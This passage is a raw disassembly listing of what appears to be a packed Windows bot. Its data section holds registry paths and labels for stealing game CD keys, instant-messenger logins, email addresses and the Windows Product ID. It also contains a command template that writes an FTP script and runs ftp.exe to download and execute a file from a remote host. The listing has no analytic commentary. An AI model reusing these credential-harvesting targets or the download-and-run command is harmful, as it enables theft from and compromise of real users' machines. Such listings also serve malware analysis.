%d',0Ah,0 ; DATA XREF: sub_42F110+FBo align 4 dd 2 dup(0) aNet_write1Retu db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42F110+DBo align 4 dd 2 dup(0) aSiteS db 'SITE %s',0 ; DATA XREF: ___:0042F3CEo align 10h aSyst db 'SYST',0 ; DATA XREF: ___:0042F42Do align 4 aMkdS db 'MKD %s',0 ; DATA XREF: ___:0042F4BEo align 10h aCwdS db 'CWD %s',0 ; DATA XREF: ___:0042F53Eo align 4 aCdup db 'CDUP',0 ; DATA XREF: ___:0042F597o align 10h aRmdS db 'RMD %s',0 ; DATA XREF: ___:0042F5EEo align 4 off_447688 dd offset aSendtoSocketFa+18h ; DATA XREF: ___:0042F64Do aLocalfileWrite db 'localfile write',0 ; DATA XREF: sub_42F6F0:loc_42F871o align 10h aShortWritePass db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42F6F0+125o align 8 word_4476C8 dw 77h ; DATA XREF: sub_42F6F0+1Fr align 4 dword_4476CC dd 25206425h, 64hdword_4476D4 dd 455A4953h, 732520h, 0dword_4476E0 dd 4D54444Dh, 732520h, 0dword_4476EC dd 4F544E52h, 732520h, 0dword_4476F8 dd 52464E52h, 732520h, 0dword_447704 dd 454C4544h, 732520h, 0aQuit db 'QUIT',0 ; DATA XREF: sub_42FD30+10o align 4 dword_447718 dd 1 ; sub_431750+1Fw ... aInterlockedcom db 'InterlockedCompareExchange',0 ; DATA XREF: sub_432570+13o align 4 dd 0 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_432570+6o align 4 aA: ; DATA XREF: sub_434D10+36o unicode 0, <>,0 dd 12h dup(0) dd offset aBattlefield194 ; "[Battlefield 1942: " dd 80000002h, 44886Ch, 448F40h, 448838h, 80000002h, 4487D8h dd 448F40h, 4487A8h, 80000002h, 448750h, 448F40h, 44872Ch dd 80000002h, 4486E4h, 448F40h, 4486CCh, 80000002h, 448688h dd 448F40h, 448660h, 80000002h, 448624h, 448F40h, 4485F0h dd 80000002h, 448590h, 448F40h, 448564h, 80000002h, 448540h dd 448538h, 44850Ch, 80000002h, 4484E4h, 448538h, 4484CCh dd 80000001h, 44849Ch, 448498h, 448488h, 80000002h, 44844Ch dd 448F40h, 44843Ch, 80000002h, 448400h, 448F40h, 4483ECh dd 80000002h, 4483A4h, 448F40h, 448388h, 80000002h, 448344h dd 448F40h, 448328h, 80000001h, 448300h, 448498h, 4482F0h dd 80000001h, 4482C8h, 448498h, 4482A8h, 80000002h, 44826Ch dd 448268h, 44824Ch, 80000002h, 448228h, 448220h, 448208h dd 80000001h, 4481DCh, 4481D4h, 4481B0h, 80000002h, 448164h dd 448F40h, 44813Ch, 80000002h, 4480E8h, 448F40h, 4480B0h dd 80000002h, 44804Ch, 448F40h, 448018h, 80000002h, 447FB8h dd 448F40h, 447F9Ch, 80000002h, 447F54h, 448F40h, 447F38h dd 80000002h, 447EF0h, 448F40h, 447EE0h, 80000002h, 447EA4h dd 448F40h, 447E94h, 80000002h, 447E58h, 448F40h, 447E30h dd 80000002h, 447DDCh, 448F40h, 447DB4h, 80000002h, 447D64h dd 448F40h, 447D48h, 80000002h, 447D20h, 448498h, 447D0Ch dd 80000002h, 447CD4h, 448F40h, 447CA4h, 80000002h, 447C4Ch dd 448F40h, 447C30h, 80000001h, 447BE0h, 447BD8h, 447BBCh dd 80000002h, 447B78h, 447B6Ch, 447B54h, 80000001h, 447B24h dd 447B18h, 447AF8h, 80000002h, 447ABCh, 447BD8h, 447A9Ch dd 80000002h, 447A60h, 447BD8h, 1Eh dup(0) aSoftwareUnreal db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0 align 4 dd 2 dup(0) aUnrealTourname db '[Unreal Tournament 2004: ',0 align 4 dd 0 aSoftwareUnre_0 db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0 align 10h dd 2 dup(0) aUnrealTourna_0 db '[Unreal Tournament 2003: ',0 align 8 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 dd 2 dup(0) aTheGladiators db '[The Gladiators: ',0 align 4 dd 0 aSof2key db 'sof2key',0 align 8 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 dd 2 dup(0) aSoldierOfFortu db '[Soldier Of Fortune 2: ',0 align 8 aCdkey db 'CDKey',0 align 10h aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aSoldiersOfAnar db '[Soldiers Of Anarchy: ',0 align 4 dd 0 aSoftwareElectr db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 4 dd 3 dup(0) aShogunTotalWar db '[Shogun: Total War: Warlord Edition: ',0 align 4 dd 2 dup(0) aSoftwareRedSto db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0 align 4 dd 2 dup(0) dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 8 aNeverwinterNig db '[Neverwinter Nights: ',0 align 10h dd 0 aSoftwareElec_0 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 4 dd 3 dup(0) aNeedForSpeedUn db '[Need For Speed: Underground: ',0 align 4 dd 2 dup(0) aSoftwareElec_1 db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er' db 'gc',0 dd 4 dup(0) aNeedForSpeedHo db '[Need For Speed: Hot Pursuit 2: ',0 align 8 aSoftwareElec_2 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 dd 2 dup(0) dd 4C484E5Bh, 30303220h, 203A33h, 0 aSoftwareElec_3 db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aNhl2002 db '[NHL 2002: ',0 align 10h aSoftwareElec_4 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 dd 3 dup(0) aNascarRacing20 db '[Nascar Racing 2003: ',0 align 10h dd 0 aSoftwareElec_5 db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h dd 3 dup(0) aNascarRacing_0 db '[Nascar Racing 2002: ',0 align 8 aSoftwareElec_6 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 4 dd 4 dup(0) aMedalOfHonorAl db '[Medal of Honor: Allied Assault: Spearhead ',0 dd 2 dup(0) aSoftwareElec_7 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 10h dd 4 dup(0) aMedalOfHonor_0 db '[Medal of Honor: Allied Assault: Breakthrough ',0 align 10h dd 2 dup(0) aSoftwareElec_8 db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h dd 3 dup(0) aMedalOfHonor_1 db '[Medal of Honor: Allied Assault: ',0 align 10h dd 0 aSoftwareElec_9 db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 align 10h aJamesBond007Ni db '[James Bond 007: Nightfire: ',0 align 10h dd 0 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h dd 2 dup(0) aIndustryGiant2 db '[Industry Giant 2: ',0 align 10h aCdkey_0 db 'CDkey',0 align 4 aSoftwareIgi2Re db 'SOFTWARE\IGI 2 Retail\CDKey',0 dd 2 dup(0) aIgi2CovertStri db '[IGI2: Covert Strike: ',0 align 8 aKey db 'key',0 aSoftwareIllusi db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0 align 10h dd 2 dup(0) aHiddenAndDange db '[Hidden and Dangerous 2: ',0 align 8 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aHalfLife db '[Half-Life: ',0 align 10h aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 10h dd 2 dup(0) aGunmanChronicl db '[Gunman Chronicles: ',0 align 10h dd 0 aSoftwareEle_10 db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h dd 2 dup(0) aGlobalOperatio db '[Global Operations: ',0 align 10h dd 0 aSoftwareEle_11 db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0 dd 3 dup(0) aFreedomForce db '[Freedom Force: ',0 align 10h aSoftwareEle_12 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3330h, 0 aSoftwareEle_13 db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h dd 2 dup(0) dd 4649465Bh, 30322041h, 203A3230h, 0 dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h dd 73h, 2 dup(0) aCounterStrike db '[Counter-Strike: ',0 align 10h dd 0 aSoftwareWestwo db 'SOFTWARE\Westwood\Tiberian Sun',0 align 4 dd 2 dup(0) aCommandAndConq db '[Command and Conquer: Tiberian Sun: ',0 align 8 aSerial db 'Serial',0 align 10h aSoftwareWest_0 db 'SOFTWARE\Westwood\Red Alert 2',0 align 10h dd 0 aCommandAndCo_0 db '[Command and Conquer: Red Alert2: ',0 align 10h aSoftwareEle_14 db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 10h dd 4 dup(0) aCommandAndCo_1 db '[Command and Conquer: Generals: Zero Hour: ',0 dd 2 dup(0) aSoftwareEle_15 db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0 align 10h aCommandAndCo_2 db '[Command and Conquer: Generals: ',0 align 8 aSoftwareEle_16 db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h dd 3 dup(0) aBlackAndWhite db '[Black and White: ',0 align 10h dd 0 aSoftwareEle_17 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h dd 3 dup(0) aBattlefield1_0 db '[Battlefield 1942: Vietnam:',0 align 10h aSoftwareEle_18 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro' db 'me\ergc',0 align 4 dd 3 dup(0) aBattlefield1_1 db '[Battlefield 1942: The Road To Rome: ',0 align 10h dd 2 dup(0) aSoftwareEle_19 db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons' db ' of WWII\ergc',0 align 4 dd 4 dup(0) aBattlefield1_2 db '[Battlefield 1942: Secret Weapons Of WWII: ',0 dd 2 dup(0) db 53h aOftwareElectro db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 align 10h aBattlefield194 db '[Battlefield 1942: ',0 ; DATA XREF: ___:00447798o align 8 aYahooS db 'yahoo: %s',0 ; DATA XREF: ___:004362A4o align 4 aYahooUserId db 'Yahoo! User ID',0 ; DATA XREF: ___:00436268o align 8 aSoftwareYahooP db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:0043622Ao align 10h dd 0 dword_448904 dd 3A6D6961h, 732520h, 0dword_448910 dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion' ; DATA XREF: ___:0043616Co db '\Login',0 dd 4 dup(0) aFoundCodCdkeyS db 'Found COD CDKey (%s).',0 align 10h dd 0 aTsh3xswtypwguu db 'TSH3XSWTYPWGUUTXE660',0 align 10h aSMainS db '%s\main\%s',0 align 10h aCodkey db 'codkey',0 align 4 aSoftwareActi_0 db 'Software\Activision\Call of Duty',0 align 10h aFoundSof2Cdkey db 'Found SOF2 CDKey (%s).',0 align 4 dd 0 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 10h dd 0 dd 625C7325h, 5C657361h, 255C706Dh, 73h aInstallpath db 'InstallPath',0 dd 0 dword_448A44 dd 3A6E736Dh, 732520h, 0dword_448A50 dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2 db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv' ; DATA XREF: ___:00436737o db 'ice',0 align 10h aFoundEmailS_ db 'Found EMail (%s).',0 ; DATA XREF: ___:004366DCo align 8 aSoftwareMicr_1 db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:004365AEo align 4 dd 2 dup(0) aFoundWindowsPr db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_4369E0+546o align 4 dd 2 dup(0) aProductid db 'ProductId',0 ; DATA XREF: sub_4369E0+52Bo align 10h aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_4369E0+4FEo align 4 dd 2 dup(0) aHkuS db 'HKU: %s',0 ; DATA XREF: sub_4369E0+4A4o align 10h aHkcrS db 'HKCR: %s',0 ; DATA XREF: sub_4369E0+3BBo align 4 loc_448B7C: ; DATA XREF: sub_4369E0+2D3o dec eax dec ebx inc ebx inc ebx cmp ah, [eax] and eax, 73h loc_448B87: ; DATA XREF: sub_4369E0+1EBo add [eax+4Bh], cl dec esp dec ebp cmp ah, [eax] and eax, 73h loc_448B93: ; DATA XREF: sub_4369E0+103o add [eax+4Bh], cl inc ebx push ebp cmp ah, [eax] and eax, 73h loc_448B9F: ; DATA XREF: ___:004371A6o ; ___:00437400o ... add bl, ch add ch, bl add eax, 0FFFFF9E8h call fword ptr [ebx+31h] leave mov cx, 0FFFFh loc_448BB0: ; CODE XREF: ___:00448BB5j xor byte ptr [ebx+0Eh], 0FFh inc ebx loop loc_448BB0 ; --------------------------------------------------------------------------- db 0 dd 0 aStartMinCmd_ex db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s ' ; DATA XREF: ___:0043762Bo db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt' db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0 dd 0Ah dup(0) off_448CA0 dd offset off_43F1D4 ; DATA XREF: ___:off_43F318o ; ___:0043F354o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 align 10h dd 1, 9Fh dup(0) byte_448F40 db 0 ; DATA XREF: sub_403530+95o ; sub_404690+200o ... align 4 dword_448F44 dd 0 ; sub_4246D0+11o ... dword_448F48 dd 0 ; resolved to->KERNEL32.Process32Next ; ___:0040D4BFr ... align 10h dword_448F50 dd 0 ; ___:0040D425w ... dd 8 dup(0) dword_448F74 dd 41h dup(0) ; ___:0040D460o ... dword_449078 dd 0 ; ___:loc_40D4B4r ... dword_44907C dd 0 ; resolved to->KERNEL32.Process32First ; ___:0040D42Fr ... dword_449080 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40D660+CAw dword_449084 dd 0 ; sub_40D660+E3r dd 11h dup(0) dword_4490CC dd 0 ; sub_410030+47Dr dword_4490D0 dd 0 ; sub_410030+515r ... dword_4490D4 dd 0 ; sub_410030+655r ... dword_4490D8 dd 0 ; sub_410030+B79r ... dword_4490DC dd 0 ; sub_410030+74Br dword_4490E0 dd 0 ; sub_410030+828r dword_4490E4 dd 0 ; sub_410030+77Cr dword_4490E8 dd 0 ; sub_410030+4DDr ... dword_4490EC dd 0 ; sub_410030+311r dword_4490F0 dd 0 ; sub_410030+34Dr ... dword_4490F4 dd 0 ; sub_410030+33Dr dword_4490F8 dd 0 ; sub_410030+3D2r dword_4490FC dd 0 ; sub_410030+E93r dword_449100 dd 0 ; sub_410030+1220r ... dword_449104 dd 0 ; sub_4120B0+4DAr dword_449108 dd 0 ; sub_410030+683r dword_44910C dd 0 ; sub_410030+6B5r dword_449110 dd 0 ; sub_410030+1252r dd 5 dup(0) dword_449128 dd 10h dup(0) ; ___:004040AFo ... db 2 dup(0) byte_44916A db 0 ; DATA XREF: sub_409B10r sub_409B80r align 4 db 3 dup(0) byte_44916F db 0 ; DATA XREF: sub_40D660+10Fr db 0 byte_449171 db 0 ; DATA XREF: sub_40DBF0r word_449172 dw 0 ; DATA XREF: sub_40DBF0+9o dd 44h dup(0) db 3 dup(0) byte_449287 db 0 ; DATA XREF: ___:00412F9Ao ; ___:0041304Fo ... db 3 dup(0) byte_44928B db 0 ; DATA XREF: sub_41F960:loc_41F99Dr align 10h dword_449290 dd 12h dup(0) ; sub_410030+114o db 0 byte_4492D9 db 3 dup(0) ; DATA XREF: ___:00408BA1o ; sub_410030+159o ... dd 11h dup(0) db 2 dup(0) word_449322 dw 0 ; DATA XREF: ___:00408B78o ; sub_410030+132o dd 6 dup(0) word_44933C dw 0 ; DATA XREF: sub_410030+1E1r align 10h dd 0Ah dup(0) db 3 dup(0) byte_44936B db 0 ; DATA XREF: ___:00408BCAo ; sub_410030+17Co ... dd 12h dup(0) dword_4493B4 dd 12h dup(0) ; sub_410030+F7o ... db 0 byte_4493FD db 3 dup(0) ; DATA XREF: ___:00408B03o ; sub_410030+D0o ... dd 23h dup(0) db 3 dup(0) byte_44948F db 0 ; DATA XREF: ___:00408BF3o ; sub_410030+19Ao dd 24h dup(0) db 0 byte_449521 db 3 dup(0) ; DATA XREF: sub_425100+2Bo ; sub_425100+37o ... dd 11h dup(0) db 2 dup(0) word_44956A dw 0 ; DATA XREF: ___:00412F6Ao ; ___:00412F89o ... dd 3Ch dup(0) db 3 dup(0) dword_44965F dd 0 ; sub_41F030+154r ... align 4 dd 35h dup(0) db 0 byte_449739 db 0 ; DATA XREF: sub_41BA50+18r align 4 dd 36h dup(0) byte_449814 db 0 ; DATA XREF: sub_410030+842r align 4 dd 0Bh dup(0) dword_449844 dd 18h dup(0) ; sub_40EE40+97o ... db 2 dup(0) byte_4498A6 db 0 ; DATA XREF: sub_404CC0+258r ; sub_41D930+66Er align 4 dd 11h dup(0) db 3 dup(0) byte_4498EF db 0 ; DATA XREF: sub_404CC0:loc_404F30r ; sub_41D930:loc_41DFB6r dd 0Bh dup(0) db 3 dup(0) byte_44991F db 0 ; DATA XREF: sub_404CC0+279o ; sub_41D930+68Fo ... dd 12h dup(0) dword_449968 dd 2Bh dup(0) ; sub_41F030+630o ... dword_449A14 dd 0 dd 11h dup(0) db 0 dword_449A5D dd 0 align 4 dd 0D9h dup(0) byte_449DC8 db 0 ; DATA XREF: sub_41F030+146r ; sub_41F030+5EEr align 4 dd 3A8h dup(0) db 2 dup(0) word_44AC6E dw 0 ; DATA XREF: sub_404690+1BDo ; sub_404B60+31o ... db 2 dup(0) word_44AC72 dw 0 ; DATA XREF: sub_404B60+4o dd 1Ch dup(0) db 2 dup(0) word_44ACE6 dw 0 ; DATA XREF: sub_4076B0+36o ; sub_407740+3Eo ... dd 26h dup(0) dword_44AD80 dd 86h dup(0) ; sub_404CC0+27Eo ... db 3 dup(0) byte_44AF9B db 0 ; DATA XREF: sub_426930+3Bw ; sub_4269A0+7Ew ... dd 7Fh dup(0) db 3 dup(0) dword_44B19B dd 0 ; sub_4269A0+4Fw ... dword_44B19F dd 0 ; ___:0042419Dw ... dword_44B1A3 dd 0 ; sub_4269A0+5Dr ... dword_44B1A7 dd 0 ; sub_4269A0+8Cr ... dword_44B1AB dd 0 ; sub_4269A0+9Dr dword_44B1AF dd 0 ; ___:004241D1r ... byte_44B1B3 db 0 ; DATA XREF: sub_426930+42w ; sub_4269A0+85w dd 2824h dup(0) db 3 dup(0) byte_455247 db 0 ; DATA XREF: ___:off_446F0Co dd 0EB85h dup(0) dword_49005C dd 0BD23h dup(0) db 0 byte_4BF4E9 db 3 dup(0) ; DATA XREF: ___:off_402027o dd 53D8h dup(0) db 0 byte_4D444D db 3 dup(0) ; DATA XREF: ___:off_445324o dd 0ED2h dup(0) db 3 dup(0) dword_4D7F9B dd 0 ; sub_426BD0+13o align 10h dd 39h dup(0) db 0 byte_4D8085 db 3 dup(0) ; DATA XREF: sub_404C70+1Eo ; sub_404CC0+65o ... dd 5 dup(0) byte_4D809C db 0 ; DATA XREF: sub_404CC0+292w ; sub_404CC0+4EBw dword_4D809D dd 0 ; sub_422B40:loc_4232C4r ... align 4 dd 0 db 0 dword_4D80A9 dd 0 ; sub_404C70+2Aw byte_4D80AD db 3 dup(0) ; DATA XREF: ___:00412FC4o ; ___:00412FE7o dd 9 dup(0) db 3 dup(0) dword_4D80D7 dd 0 ; sub_428DC0:loc_428EB7r align 4 dd 2Fh dup(0) db 3 dup(0) byte_4D819B db 0 ; DATA XREF: sub_426B60+16o ; sub_426B90+19o db 3 dup(0) byte_4D819F db 0 ; DATA XREF: sub_426A90+4Co dd 6Fh dup(0) db 3 dup(0) byte_4D835F db 0 ; DATA XREF: ___:0040828Fo ; ___:00408720o ... dd 8 dup(0) dword_4D8380 dd 0 dd 51h dup(0) db 0 byte_4D84C9 db 0 ; DATA XREF: sub_427B10:loc_427BC0r ; sub_427FD0:loc_428085r ... align 4 dd 9Eh dup(0) db 0 dword_4D8745 dd 0 ; sub_427FD0+7Dw ... align 4 dd 1EDAh dup(0) db 0 byte_4E02B5 db 3 dup(0) ; DATA XREF: ___:00419F93o ; sub_41A050+13o dd 1EB9h dup(0) db 3 dup(0) byte_4E7D9F db 0 ; DATA XREF: sub_427D50+1Do dd 21h dup(0) db 0 byte_4E7E25 db 3 dup(0) ; DATA XREF: ___:00419FA3o dd 235h dup(0) db 3 dup(0) byte_4E86FF db 0 ; DATA XREF: sub_427D50+2Fo dd 1D5h dup(0) byte_4E8E54 db 0 ; DATA XREF: sub_404CC0+299w ; sub_410030:loc_410072r ... byte_4E8E55 db 3 dup(0) ; DATA XREF: sub_404CC0+235o ; sub_404CC0+874o ... dd 4 dup(0) db 2 dup(0) word_4E8E6A dw 0 ; DATA XREF: sub_404CC0+2D4o ; ___:00408734o ... dd 0Fh dup(0) db 0 byte_4E8EA9 db 0 ; DATA XREF: sub_41F960+31w ; sub_41F960+47w ... db 0 byte_4E8EAB db 0 ; DATA XREF: sub_418590+21o ; sub_41D930+341o ... dd 6D2Ah dup(0) dword_504354 dd 12BAh dup(0) dword_508E3C dd 1000h dup(0) ; ___:00419B9Do ... dword_50CE3C dd 333h dup(0) ; ___:00419BB8o ... dword_50DB08 dd 0 ; sub_41A110+1Br ... dd 3 dup(0) dword_50DB18 dd 0 ; ___:0041FC3Dw ... dword_50DB1C dd 0 ; sub_41FB90+2Aw ... dword_50DB20 dd 0 dword_50DB24 dd 0 ; ___:0041FC5Bw dword_50DB28 dd 0 dword_50DB2C dd 0 ; ___:0041FC67w ... dword_50DB30 dd 0 ; ___:0041FC6Dw ... dword_50DB34 dd 0 ; ___:00420EA9o dword_50DB38 dd 0 ; sub_41FB90:loc_41FBB4r ... dword_50DB3C dd 0 ; ___:0041FC81w dword_50DB40 dd 0 ; sub_420630+41w ... dword_50DB44 dd 0 ; sub_420630+7Fr dword_50DB48 dd 0 ; sub_420630+92r ... dword_50DB4C dd 0 ; sub_420630+148r dd 3 dup(0) dword_50DB5C dd 0 ; ___:0041C2A5o dword_50DB60 dd 0 ; sub_423820+5r ... dword_50DB64 dd 0 ; ___:00423FABr ... dd 7CEh dup(0) dword_50FAA0 dd 6 dup(0) ; ___:00423EAFo ... dword_50FAB8 dd 196h dup(0) ; sub_423760+6Do dword_510110 dd 0 word_510114 dw 0 ; DATA XREF: sub_424F70+A9r align 4 word_510118 dw 0 ; DATA XREF: sub_4253C0+45r ; sub_4257F0+DAr align 4 dword_51011C dd 0 dd 0 byte_510124 db 0 ; DATA XREF: sub_4267D0:loc_426830r ; sub_4267D0+97w align 4 dword_510128 dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_427B10+D9r dword_51012C dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_427B10+45r dword_510130 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_427B10+54r ... align 8 dword_510138 dd 80h dup(0) ; sub_427D50+129o dword_510338 dd 0 dword_51033C dd 0 dd 1Dh dup(0) dword_5103B4 dd 0 ; ___:0042C40Dr ... dword_5103B8 dd 0 ; sub_42DE00:loc_42DE96r ... dword_5103BC dd 0 ; resolved to->WS2_32.connect ; sub_432570+2Dr ... dword_5103C0 dd 0 dword_5103C4 dd 0 ; sub_431560r ... dword_5103C8 dd 0 dword_5103CC dd 0 ; sub_4309A0+111w ... dword_5103D0 dd 0 ; sub_4309A0+F6r ... dword_5103D4 dd 0 ; ___:loc_4316A0r dword_5103D8 dd 0 ; resolved to->KERNEL32.InterlockedCompareExchange ; sub_4322D0+2Cr ... dd 2 dup(0) dd 0 dd 13Eh dup(0) dword_5108E0 dd 10h dup(0) ; sub_431470:loc_4314A0o ... dword_510920 dd 8 dup(0) ; sub_430830+25o ... dword_510940 dd 8 dup(0) ; sub_431980+25o ... dword_510960 dd 8 dup(0) ; sub_432850+84o ... dword_510980 dd 8 dup(0) ; sub_432850+8Bo ... dword_5109A0 dd 0Dh dup(0) ; sub_4309A0:loc_430AB7o ... dd 0 dd 350h dup(0) dword_511718 dd 0 align 10h dword_511720 dd 0 dd 2 dup(0) dword_51172C dd 0 dd 4 dup(0) dword_511740 dd 0 ; sub_40E870+25Ar ... dword_511744 dd 0 dword_511748 dd 0 dd 2 dup(0) dword_511754 dd 0 ; sub_40EE40+15Er ... dd 0 dword_51175C dd 0 ; sub_40E870+22Cr dd 0 dword_511764 dd 0 ; sub_4208E0+285r ... dd 0 dword_51176C dd 0 ; sub_40E870+24Cr dd 1Ch dup(0) dword_5117E0 dd 0 ; sub_420630+FEr dd 20h dup(0) dword_511864 dd 0 dword_511868 dd 0 dword_51186C dd 0 dd 3 dup(0) dd 0 dd 0Bh dup(0) dword_5118AC dd 0 ; sub_410030+47r ... dd 7 dup(0) dword_5118CC dd 0 dd 2 dup(0) dword_5118D8 dd 0 ; sub_41B5B0+2Fr ... align 10h dword_5118E0 dd 0 ; sub_4204D0+2Er ... align 10h dword_5118F0 dd 0 dd 8 dup(0) dd 0 dword_511918 dd 0 ; sub_420630:loc_42067Cr ... dd 31h dup(0) dword_5119E0 dd 0 dd 22h dup(0) dword_511A6C dd 0 ; sub_42E5B0+53r ... dword_511A70 dd 0 dd 2 dup(0) dword_511A7C dd 0 dd 3 dup(0) dword_511A8C dd 0 dword_511A90 dd 0 ; sub_42DE00+4Ar ... dd 2 dup(0) dword_511A9C dd 0 dword_511AA0 dd 0 dword_511AA4 dd 0 dword_511AA8 dd 0 dword_511AAC dd 0 dword_511AB0 dd 0 align 8 dword_511AB8 dd 0 ; ___:0041C3DAr dd 3 dup(0) dword_511AC8 dd 0 ; sub_41BA50+17Er ... align 10h dword_511AD0 dd 0 ; sub_42F2C0+34r ... align 8 dword_511AD8 dd 0 align 10h dword_511AE0 dd 0 ; sub_42DE00+90r dword_511AE4 dd 0 ; sub_426070+C8r ... dd 0 dword_511AEC dd 0 dd 4 dup(0) dword_511B00 dd 0 ; sub_41BD90+5Dr dword_511B04 dd 0 ; sub_410030+1126r ... dword_511B08 dd 0 ; ___:00419CDAr dd 2 dup(0) dword_511B14 dd 0 ; sub_422B40+203r ... dd 0 dword_511B1C dd 0 dd 3 dup(0) dd 0 dd 34h dup(0) dword_511C00 dd 0 ; sub_41A050+2Dr ... dd 0Dh dup(0) dword_511C38 dd 0 ; sub_425100:loc_4251B2r ... dword_511C3C dd 0 ; sub_42B8E0:loc_42B99Br dd 4 dup(0) dword_511C50 dd 0 dd 2 dup(0) dword_511C5C dd 0 dd 0 dword_511C64 dd 0 dword_511C68 dd 0 ; sub_42B8E0+F9r dd 7 dup(0) dword_511C88 dd 0 dd 2 dup(0) dword_511C94 dd 0 ; sub_41A7D0+48r ... dword_511C98 dd 0 dword_511C9C dd 0 ; sub_41F960+198r ... dword_511CA0 dd 0 ; ___:004217E1r ... dword_511CA4 dd 0 ; sub_4253C0+8Br ... dd 0 dword_511CAC dd 0 ; sub_42C830+E8r dd 4D4h dup(0) ___ ends ; Section 2. (virtual address 00113000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00113000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 513000h align 2000h _rsrc___ ends ; Section 3. (virtual address 00114000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00114000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 514000h dd 400h dup(0) _idata__ ends ; Section 4. (virtual address 00115000) ; Virtual size : 00102000 (1056768.) ; Section size in file : 00102000 (1056768.) ; Offset to raw data for section: 00115000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Themida_ segment para public 'CODE' use32 assume cs:Themida_ ;org 515000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 5 dup(0) public start start dd 0BD4Ch dup(0) db 3 dup(0) byte_544547 db 0 ; DATA XREF: ___:off_447224o dd 0B512h dup(0) db 3 dup(0) db 0 dd 139B2h dup(0) dword_5C005C dd 0D9D4h dup(0) db 2 dup(0) word_5F67AE dw 0 ; CODE XREF: sub_4068E0+12Bp ; sub_409CA0+1Dp ... dd 715Ch dup(0) dword_612D20 dd 0FCBh dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_44530Co align 400h Themida_ ends ; Section 5. (virtual address 